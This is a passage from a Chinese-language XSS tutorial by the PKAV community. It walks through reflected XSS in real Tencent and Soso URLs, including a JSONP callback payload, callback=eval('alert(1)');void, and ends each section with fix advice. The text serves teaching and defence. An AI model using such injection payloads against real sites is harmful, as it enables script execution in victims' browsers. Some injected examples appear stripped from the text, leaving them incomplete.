第一节什么都没过滤的入门情况
作者:心伤的瘦子
来自:PKAV 技术宅社区
网址:http://www.pkav.net
1.XSS 的存在,一定是伴随着输入,与输出 2 个概念的。
2.要想过滤掉 XSS,你可以在输入层面过滤,也可以在输出层面过滤。
3.如果输入和输出都没过滤。那么漏洞将是显而易见的。
4.作为第一个最基础的例子,我们拿出的是一个什么都没过滤(其实还是有些转义的,主要
没过滤<,>)的例子。这种例子出现在腾讯这种大网站的概率不是很高。但是还是让我找到
了一个。
5.
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1
480&score=1&func=haoping&_=1353475261886
6.对于上面这个例子。我们可以看到什么是输入,什么是输出。
经过测试,我们发现,score 这个【输入】参数,没有进行任何过滤,
即,输入是什么,输出就是什么?通俗点就是“吃什么,拉什么”。。。
如下图:
图 1
网页中看到的效果如下:
图 2
第 1页/共 73页
图 3
7.既然可以直接输入<>HTML 标签,接下来的利用也就相对简单了。
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1
480&score=
&func=haoping&_=1353475261886
效果如下
图 4
8.修复方案:
这种 XSS 属于最基本的一类 XSS,也最好防御。。
它的模型是:
[输出]
或[输出]
a.通常,我们只需要在输出前,将<,>过滤掉即可。
b.这类 XSS 在小型网站中比较常见,在大型网站中少见。
c.这类 XSS 通常都被浏览器的 XSS 过滤器秒杀了,所以一般来说,威力较小。
d.对于普通用户来说,请使用 IE8 及以上版本(并开启 XSS 过滤器功能,默认开启),或 chrome
浏览器,将可以防御大部分此种类型的 XSS 攻击。
(连载中…)责任编辑:xiaohui
第 2页/共 73页
第二节输出在之间的情况
作者:心伤的瘦子
来自:PKAV 技术宅社区
网址:http://www.pkav.net
简要描述:
接着上面一个教程,我们继续。这个例子属于第一例的特殊情况,当然也有特殊解法。也属
于非常常见的一种情况。
详细说明:
1.我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处
在于,是输出在了之间。
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
2.如下图:callback 参数未做过滤。在【查看源代码】下,我们可以看到。
缺陷网页源代码:
图 5
document.domain='soso.com';_ret={"_res":2};try{pa
rent.aaa(_ret);}catch(err){aaa(_ret);}
3.碰到这种情况,我们一般有以下解法。
首先判断,是否过滤了<,>,/等符号,
如果都没有过滤,恭喜你,一般可以直接 XSS 了。代码如下:
document.domain='soso.com';_ret={"_res":2};try{pa
rent.aaa(_ret);}catch(err){aaa(_ret);}
原理入下图:
4.构造 callback 参数后的源代码
图 6
document.domain='soso.com';_ret={"_res":2};try{pa
rent.aaaaaaaaa(_ret);}catch(err){aaaaaaaaa(_ret);}
第 3页/共 73页
5.如果过滤了<,>,那么就无法使用上面的办法了。我们接着看
script 代码里的构造。
友情提示:这里可能需要一点点 javascript 的知识才行哦~~
我们可以如下构造:
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');vo
id
6.可以看到,源代码是下面的样子。
图 7
7.也就是说,我们插入的内容,使得这一段 javascript 依然【语法正确】,能够【正确执行】,
并且能够执行【我们所插入的 JS 代码】,这样我们的目的就达到了。
构造后的源代码如下:
document.domain='soso.com';_ret={"_res":2};try{pa
rent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}
8.这种输出在 JS 代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不
是很常见。例如:
vara="[输出]";//通常程序员会把"过滤掉,这样的话,一般来说,我们就很难构造。
但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来
进一步说到这个【输出在 js 里】的情况的~
9.修复方案:
这类 XSS 的模型通常是: